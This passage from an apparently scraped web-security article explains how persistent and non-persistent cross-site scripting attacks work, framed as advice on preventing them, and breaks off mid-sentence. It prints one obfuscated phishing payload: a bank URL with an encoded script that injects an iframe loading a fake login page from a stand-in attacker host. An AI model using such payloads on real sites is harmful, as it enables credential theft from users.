Preventing Cross-Site Scripting Attacks is one of the major Cyber-security Precaution every Web Developer should learn take So as to prevent exploits within your own organization. Cross-site scripting is a security exploit in which the attacker inserts malicious client-side code into webpages, This has been around since the 1990s and most major websites like Google, Yahoo and Facebook have all been affected by cross-site scripting flaws at some point. Attacks exploiting XSS vulnerabilities can steal data, take control of a user\’s session, run malicious code, or be used as part of a phishing scam. Preventing These Cross-Site Scripting Attacks has now become a major concern for many developers, especially in the Web 2.0 era, Many believe Web 2.0 has created the latest round of Cross-Site Scripting attacks; in fact, they\’re mainly just variations on an old theme. What is true, though, is that Ajax (asynchronous JavaScript and XML) technologies change the threat landscape in that they allow an attacker to exploit cross-site scripting vulnerabilities in a more secret manner. Ajax applications tend to be very complex and active, there being many more interactions between the browser and server, and pages can even pull in content from other sites. This setup makes it difficult to test the many possible permutations of user and service interaction, allowing old vulnerabilities, making it quite difficult to prevent these Cross-Site Scripting Attacks. Sites continue to fall prey to Cross-Site Scripting attacks because most of them need to be interactive, accepting, and returning data from users. This means attackers, too, can interact directly with an application\’s processes, passing data designed to disguise themselves as legitimate application requests or commands through normal request channels such as scripts, URLs, and form data. This communication at the application layer can exploit applications whose developers do not take the necessary steps in preventing these Cross-Site Scripting Attacks to bypass traditional perimeter security defenses. According to a 2008 WhiteHat Security Statistics Report, 90% of all websites have at least one vulnerability, and 70% of all vulnerabilities are XSS-related. In this article, the first in a series on application-layer attacks, I want to look at how and why XSS attacks work and what you can do to Prevent this Cross-Site Scripting Attacks from your own Web applications. Cross-site scripting explained: How XSS attacks workCross-site scripting attacks are different than most application-layer attacks, such as SQL injection, as they attack an application\’s users, not the application or server. Attacks work by injecting code, usually a client-side script such as JavaScript, into a Web application\’s output. Most websites have numerous injection points, such as search fields, feedback forms, cookies and forums that are vulnerable to cross-site scripting. The most common purpose of XSS attacks is to gather cookie data, as cookies are commonly and regularly used incorrectly to store information such as session IDs, user preferences or login information. Although client-side scripts cannot directly affect server-side information, they can still compromise a site\’s security, often using Document Object Model manipulation to alter form values or switch the form action to post the submitted data to the attacker\’s site. Let\’s look at how simple an XSS attack can be. The XYZ football club\’s message board allows club members to post comments about the team and its performance. Comments are stored in an online database and displayed to other members without ever being validated or encoded. A malicious member can simply post a comment containing a script enclosed by the <script> tags. The attacker then waits for other members to view the comment. Since the text inside a <script> tag is not generally displayed, other members may not even be aware that the script has executed; merely viewing the comment will execute the script. The script can legitimately request the member\’s cookie information and pass it to the attacker. This type of XSS attack is known as persistent XSS because the malicious script is rendered more than once. XSS attacks work even if the site is viewed over an SSL connection, because the script is run in the context of the \”secured\” site, and browsers cannot distinguish between legitimate and malicious content served up by a Web application. But attackers don\’t have to rely on injecting their code into a site\’s comment page. They can try to trick a victim into clicking on a URL in a phishing email, which then injects code into the viewed page, giving the attacker full access to that page\’s content –- this is a non-persistent XSS attack. URL encoding is often used in such attacks to disguise the link and make users more likely to follow it. In the example below, the link is to a secure a https URL to a trusted site: https://www.userstrustedbank.com/script/loginservelet?function=\”> <script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,97,98,97,100,98,97,110,107,46,99,111,109,47,108,111,103,105,110,32,112,104,112,62))</script> Users see that the link is to www.userstrustedbank.com and is over an SSL connection; it looks genuine enough since links often have long, seemingly meaningless text at the end. The user clicks the link. However, the code between the <script> tags when translated by a browser reads: <iframe src=http://www.abadbank.com/login.php> This attack string renders an IFRAME — an HTML document embedded inside another HTML document on a website — in the context of userstrustedbank\’s actual site. The attacker\’s login.php page will be mocked up to look exactly like the userstrustedbank\’s login page, tricking the user into entering and sending his login username and password to the bad bank server, the source of the IFRAME, while all the time being on the real userstrustedbank.com website. This very attack has been used on banks\’ websites this year.For more cross-site scripting informationGet the latest news, videos and expert advice on Web application security. Spooks website made basic blunder in XSS testing. Find more information on application attacks, buffer overflows and cross-site scripting. Essentially, the underlying problem and cause of XSS holes is that many dynamically created webpages display user input that is not validated or encoded. If you don\’t validate user-generated input and control how it is processed or published, you could fall victim to an XSS attack. (In my previous article, The true test of a Web application
